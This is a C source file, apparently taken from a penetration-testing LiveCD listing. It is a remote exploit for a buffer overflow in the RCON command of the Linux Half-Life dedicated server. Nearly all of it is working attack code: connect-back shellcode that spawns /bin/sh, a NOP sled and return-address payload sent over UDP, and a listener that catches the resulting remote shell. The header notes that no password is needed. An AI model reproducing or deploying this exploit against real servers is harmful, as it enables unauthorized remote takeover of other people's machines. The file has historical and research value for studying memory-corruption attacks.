home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / halflife / hl-rcon.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  397 lines

  1. /*
  2.  *  SDI HalfLife rcon remote exploit for linux x86
  3.  *  (portuguese) exploit remoto para o buffer overflow do rcon no halflife
  4.  *
  5.  *  Tamandua Sekure Labs (Sao Paulo - Porto Alegre, Brazil)
  6.  *  by Thiago Zaninotti (c0nd0r) <condor@sekure.org>
  7.  *     Gustavo Scotti   (csh)    <csh@sekure.org>
  8.  *
  9.  *  Proof of concept - There is a remote exploitable buffer overflow
  10.  *  in Half Life server (3.1.0.x) for linux (HLDS). The problem is
  11.  *  related to the RCON command (Remote CONsole).
  12.  *  (port.) Existe um buffer overflow exploitavel no Half Life Server
  13.  *  (HLDS) relacionado ao comando RCON.
  14.  *
  15.  *  After several tests, we found out the 'rcon' command is also vulnerable
  16.  *  to a format string attack which can lead to a remote exploitation.
  17.  *  (port) O comando RCON tambem e' vulneravel a um format string attack.
  18.  *
  19.  *  YOU DO NOT NEED THE RCON PASSWORD TO EXPLOIT THIS VULNERABILITY,
  20.  *  which means any multiplayer server is vulnerable to the attack.
  21.  *  (port) Voce nao precisa de password para explorar esta vulnerabilidade,
  22.  *    o que significa que qualquer servidor e' vulneravel.
  23.  *
  24.  *  Agradecimentos: Tamandua Sekure Labs - Fabio Ramos (framos@axur.org),
  25.  *  Eduardo Freitas, Marcos Sposito, Roberto Monteiro (casper),
  26.  *  Nelson Britto (stderr), Sabrina Monteiro, Gabriel Zaninotti e
  27.  *  Felipe Salum. A todos os leitores da Best of Security Brasil (BOS-BR).
  28.  *
  29.  *  Respects: c_orb, el8.org (specially duke), meta, guys at core sdi,
  30.  *  the "infame" TOXYN.ORG (pt rocks) - r00t, pr0m, horizon, plaguez,
  31.  *  ratao and p.ulh.as/promisc.net crew. Greetz to AXUR.ORG too! guys at
  32.  *  sekure.org: vader, jamez, falcon and staff.
  33.  *
  34.  *  WE DO NOT TAKE ANY RESPONSABILITY. DO NOT USE THIS CODE TO GAIN
  35.  *  UNAUTHORIZED ACCESS TO A REMOTE SERVER -- THIS IS NOT LEGAL.
  36.  *
  37.  *  also thanks to botman (botman@mailandnews.com) and pudim.
  38.  *  Visit the brazilian security portal: http://www.securenet.com.br
  39.  */
  40.  
  41. #include <stdlib.h>
  42. #include <stdio.h>
  43. #include <netinet/in.h>
  44. #include <sys/socket.h>
  45. #include <sys/time.h>
  46. #include <netdb.h>
  47.  
  48. typedef unsigned long   u32;
  49. typedef unsigned short  u16;
  50. typedef unsigned char   u8;
  51.  
  52. unsigned char shellcode[]=
  53. "\xeb\x03\x5e\xeb\x1d\xe8\xf8\xff\xff\xff scotti@axur.org"
  54. "\x2f\x62\x69\x6e\x2f"
  55. "\x73\x68\x40\x31\xc0\x66\x40\x66\x40\x66\x89\x06\x31\xc9\xb1\x08"
  56. "\x89\xf7\x83\xc7\x08\x30\xc0\x88\x07\x47\x49\x75\xfa\x31\xc0\x89"
  57. "\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43"
  58. "\x31\xc0\x83\xc0\x66\xcd\x80\x89\xc7\x89\x46\x20\x8d\x06\x89\x46"
  59. "\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x8d\x4e\x20\x31\xdb\x43\x43"
  60. "\x43\x31\xc0\x83\xc0\x66\x57\xcd\x80\x5f\x31\xc0\x83\xc0\x3f\x89"
  61. "\xfb\x31\xc9\xcd\x80\x31\xc0\x83\xc0\x3f\x31\xdb\x31\xc9\x41\xcd"
  62. "\x80\x31\xc0\x83\xc0\x3f\x31\xdb\x31\xc9\x41\x41\xcd\x80\x89\xf0"
  63. "\x83\xc0\x18\x89\x46\x18\x31\xc0\x88\x46\x17\x89\x46\x1c\xb0\x0b"
  64. "\x8d\x4e\x18\x8d\x56\x1c\x89\xf3\x83\xc3\x10\xcd\x80\x31\xc0\x40"
  65. "\xcd\x80";
  66.  
  67.  
  68. /* NET functions */
  69. int
  70. udp_read( int sock, u32 *daddr, u16 *port, void *ptr, u16 ptr_size)
  71. {
  72.         struct sockaddr_in server;
  73.         int i,n;
  74.         i = sizeof(server);
  75.         n=recvfrom( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, &i);
  76.         *daddr = ntohl(server.sin_addr.s_addr);
  77.         *port = ntohs(server.sin_port);
  78.         return n;
  79. }
  80.  
  81. int
  82. udp_send( int sock, u32 daddr, u16 port, void *ptr, u16 ptr_size)
  83. {
  84.         struct sockaddr_in server;
  85.         server.sin_family = AF_INET;
  86.         server.sin_port = htons( port);
  87.         server.sin_addr.s_addr = htonl( daddr);
  88.         return sendto( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, sizeof(server));
  89. }
  90.  
  91. int
  92. udp_connect( u32 addr, u16 port)
  93. {
  94.         struct sockaddr_in client;
  95.         int new_fd;
  96.  
  97.         new_fd = socket( AF_INET, SOCK_DGRAM, 0);
  98.         if (new_fd<0)
  99.            return new_fd;
  100.  
  101.         bzero( (char *) &client, sizeof( client));
  102.         client.sin_family = AF_INET;
  103.         client.sin_addr.s_addr = htonl( addr);
  104.         client.sin_port = htons( port);
  105.         if (connect( new_fd, (struct sockaddr *)&client, sizeof(client))<0)
  106.            return -1; /* cant bind local address */
  107.  
  108.         return new_fd;
  109. }
  110.  
  111.  
  112. u32 dns2ip( u8 *host)
  113. {
  114.         struct hostent *dns;
  115.         u32     saddr;
  116.         dns = gethostbyname( host);
  117.         if (!dns)
  118.            return 0xffffffff;
  119.         bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
  120.         return ntohl(saddr);
  121. }
  122.  
  123.  
  124. int
  125. async_read( int sock_r, int rettime)
  126. {
  127.    fd_set           fd_r;
  128.    struct timeval   tv;
  129.    char             try_ch[4]="/-\\|";
  130.  
  131.    int r,j;
  132.  
  133.    for (r=0;r<rettime;r++)
  134.        {
  135.        for (j=0;j<20;)
  136.            {
  137.            int i;
  138.  
  139.            printf("\b%c", try_ch[(j%4)]);
  140.            fflush(stdout);
  141.  
  142.            FD_ZERO( &fd_r);
  143.            FD_SET( sock_r, &fd_r);
  144.  
  145.            tv.tv_sec  = 0;
  146.            tv.tv_usec = 50000;
  147.  
  148.  
  149.            i =select( sock_r + 1, &fd_r, NULL, NULL, &tv);
  150.            if (!i) { j++; continue; }
  151.            if (i>0)
  152.               if (FD_ISSET(sock_r, &fd_r)) return sock_r;
  153.            else
  154.               return -1;
  155.            }
  156.        }
  157.    return -1;
  158. }
  159.  
  160.  
  161. int
  162. get_server_info( int sock, u32 addr, u16 port)
  163. {
  164.    u32 r_addr;
  165.    u16 r_port;
  166.    int n, i;
  167.    u8  pkt[256], *str;
  168.  
  169.    pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;
  170.    sprintf(&pkt[4], "details");
  171.  
  172.    n = udp_send(sock, addr, port, pkt, strlen(pkt));
  173.    printf(".  connecting to the server...  "); fflush(stdout);
  174.    if (async_read(sock, 6)<0)
  175.        goto server_down;
  176.    n = udp_read(sock, &addr, &port, pkt, sizeof(pkt));
  177.    if (n<0)
  178.         {
  179. server_down:
  180.         printf("\bserver down!\r*\n");
  181.         exit(0);
  182.         }
  183.    printf("\bdone\n");
  184.    str = &pkt[4];
  185.    str+=strlen(str)+1;
  186.    printf("\t server_name  [%s]\n", str); str+=strlen(str)+1;
  187.    printf("\t    map_name  [%s]\n", str); str+=strlen(str)+1;
  188.    str+=strlen(str)+1;
  189.  
  190.    printf("\t   game_name  [%s]\n", str); str+=strlen(str)+1;
  191.    printf("\tusers_online  [%d of %d]\n", str[0], str[1]); str+=3;
  192.    printf("\t   remote_OS  [%s]\n", (str[1]=='w' ? "windows" : (str[1]=='l' ? "linux" : "unknown")));
  193.    if (str[1]=='w') return 2;
  194.    if (str[1]=='l') return 1;
  195.    return 0;
  196. }
  197.  
  198. u32 retrieve_local_info(int sock, u8 *host)
  199. {
  200.    struct sockaddr_in server;
  201.    int    soclen;
  202.    soclen = sizeof(server);
  203.    if (getsockname(sock, (struct sockaddr *)&server, &soclen)<0)
  204.        {
  205.        printf("error in getsockname\n");
  206.        exit(0);
  207.        }
  208.    snprintf(host, 256, "%s:%d", inet_ntoa(server.sin_addr), htons(server.sin_port));
  209.    return htonl(server.sin_addr.s_addr);
  210. }
  211.  
  212. int
  213. bind_tcp( int *port)
  214. {
  215.    struct sockaddr_in mask_addr;
  216.    int sock, portno=25000; /* base_port */
  217.  
  218.    sock = socket( AF_INET, SOCK_STREAM, 0);
  219.    if (sock<0)
  220.       return sock;
  221.  
  222. redo:
  223.    mask_addr.sin_family = AF_INET;
  224.    mask_addr.sin_port = htons( portno);
  225.    mask_addr.sin_addr.s_addr = 0;
  226.  
  227.    if (bind(sock, (struct sockaddr *)&mask_addr, sizeof(mask_addr))<0)
  228.       {
  229. error:
  230.       portno++;
  231.       if (portno>26000)
  232.          {
  233.          printf("*  no TCP port to bind in.\n");
  234.          exit(0);
  235.          }
  236.       goto redo;
  237.       }
  238.    if (listen( sock, 0)<0)
  239.       goto error;
  240.  
  241.    printf(".  TCP listen port number %d\n", portno);
  242.    *port = portno;
  243.    return sock;
  244. }
  245.  
  246. wait_for_connect(int sock)
  247. {
  248.    fd_set fds;
  249.    u8     tmp[256];
  250.    int    tcp, addr_len;
  251.    struct sockaddr_in server;
  252.  
  253.    printf(".  waiting for connect_back shellcode responde...  ");
  254.    if (async_read(sock, 15)!=sock)
  255.         {
  256.         printf("\bfailed!\r*\n");
  257.         exit(0);
  258.         }
  259.     tcp = accept( sock, (struct sockaddr *)&server, &addr_len);
  260.     printf("\bconnected\n.       ^---> from %s:%d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port));
  261.     close(sock); /* closing incoming socket */
  262.     printf(".  congratulations. you have owned this one.\n");
  263.  
  264.  
  265.     /* basic async mode */
  266.     while (1)
  267.         {
  268.         FD_ZERO(&fds);
  269.         FD_SET(0, &fds);
  270.         FD_SET(tcp, &fds);
  271.  
  272.         if (select(tcp+1, &fds, NULL, NULL, NULL)>0)
  273.            {
  274.            if (FD_ISSET(0, &fds))
  275.               {
  276.               int n;
  277.               n = read(0, tmp, 256);
  278.               if (n<0)
  279.                  goto end_conn;
  280.               if (write(tcp, tmp, n)!=n) goto end_conn;
  281.               }
  282.            if (FD_ISSET(tcp, &fds))
  283.               {
  284.               int n;
  285.               n = read(tcp, tmp, 256);
  286.               if (n<0)
  287.                  goto end_conn;
  288.  
  289.               if (write(0, tmp, n)!=n) goto end_conn;
  290.               }
  291.            }
  292.         }
  293. end_conn:
  294.     close(tcp);
  295.     printf(".  bye-bye. Stay tuned for more Tamandua Sekure Labs codes.\n");
  296. }
  297.  
  298. assembly_shell_code(int sock, u32 addr, u16 port, u32 laddr, u8 *linfo)
  299. {
  300.    u8    pkt[2048],
  301.          *shell_ptr;
  302.    struct sockaddr_in *sc_server;
  303.    u32   ret_addr = 0xbfffb1f4, last_byte = 1014, over_head = 40;
  304.    int   i, n, tcp, tcp_port;
  305.  
  306.    printf(".  localinfo %s\n", linfo);
  307.    tcp = bind_tcp( &tcp_port);
  308.    sc_server = (struct sockaddr_in *)&shellcode[10];
  309.    sc_server->sin_addr.s_addr = htonl(laddr);
  310.    sc_server->sin_port = htons(tcp_port);
  311.  
  312.    last_byte-=strlen(linfo);
  313.    pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;
  314.    sprintf( &pkt[4], "rcon ");
  315.    i = strlen(pkt);
  316.    shell_ptr = &pkt[i];
  317.  
  318.    /* find out how many nops we can push before shellcode */
  319.    n = last_byte - i - sizeof(shellcode)-1 - over_head;
  320.    for (i=0;i<n;i++)
  321.        shell_ptr[i] = 0x90; /* nop */
  322.    shell_ptr+=i;
  323.  
  324.    /* fill in the shellcode */
  325.    for (i=0;i<sizeof(shellcode)-1;i++)
  326.        shell_ptr[i] = shellcode[i];
  327.    shell_ptr+=i;
  328.  
  329.    /* fill in the overhead buffer */
  330.    for (i=0;i<over_head;i++)
  331.        shell_ptr[i] = '-';
  332.    shell_ptr+=i;
  333.  
  334.    /* fill return address and ebp */
  335.    *(u32 *)shell_ptr = ret_addr; shell_ptr+=4;
  336.    *(u32 *)shell_ptr = ret_addr; shell_ptr+=4;
  337.  
  338.    /* finalize string */
  339.    *shell_ptr = 0;
  340.  
  341.    n = udp_send( sock, addr, port, pkt, strlen(pkt));
  342.    printf(".  sending poison code. %d bytes sent\n",n);
  343.    wait_for_connect(tcp);
  344. }
  345.  
  346. usage()
  347. {
  348.    printf("\n.  usage: hl-rcon <server ip[:port]>\n");
  349.    exit(-1);
  350. }
  351.  
  352. main(int argc, char **argv)
  353. {
  354.    u32 addr, laddr;
  355.    u16 port;
  356.  
  357.    int sock, i;
  358.    u8  linfo[256], *tmp = NULL;
  359.  
  360.    printf(".  half-life 3.1.0.x remote buffer-overflow for linux x86\n");
  361.    printf(".  (c)2000, Tamandua Sekure Laboratories\n");
  362.    printf(".  Authors: Thiago Zaninotti & Gustavo Scotti\n");
  363.  
  364.    if (argc<2)
  365.       usage();
  366.  
  367.    tmp = (u8 *)strchr(argv[1], ':');
  368.    if (tmp)
  369.       {
  370.       *tmp = 0; tmp++;
  371.       port = atoi(tmp);
  372.       }
  373.    else
  374.       {
  375.       printf(":  port not found, using default 27015\n");
  376.       port = 27015;
  377.       }
  378.  
  379.    addr = dns2ip(argv[1]);
  380.  
  381.    if (addr==0xffffffff)
  382.       {
  383.       printf("host not found!\n");
  384.       exit(0);
  385.       }
  386.  
  387.    sock = udp_connect( addr, port);
  388.    laddr = retrieve_local_info(sock, linfo);
  389.    if (get_server_info(sock, addr, port)!=1)
  390.       {
  391.       printf("this is not a linux server. Make a shellcode to it and have fun\n");
  392.       exit(0);
  393.       }
  394.    assembly_shell_code(sock, addr, port, laddr, linfo);
  395.  
  396. }
  397.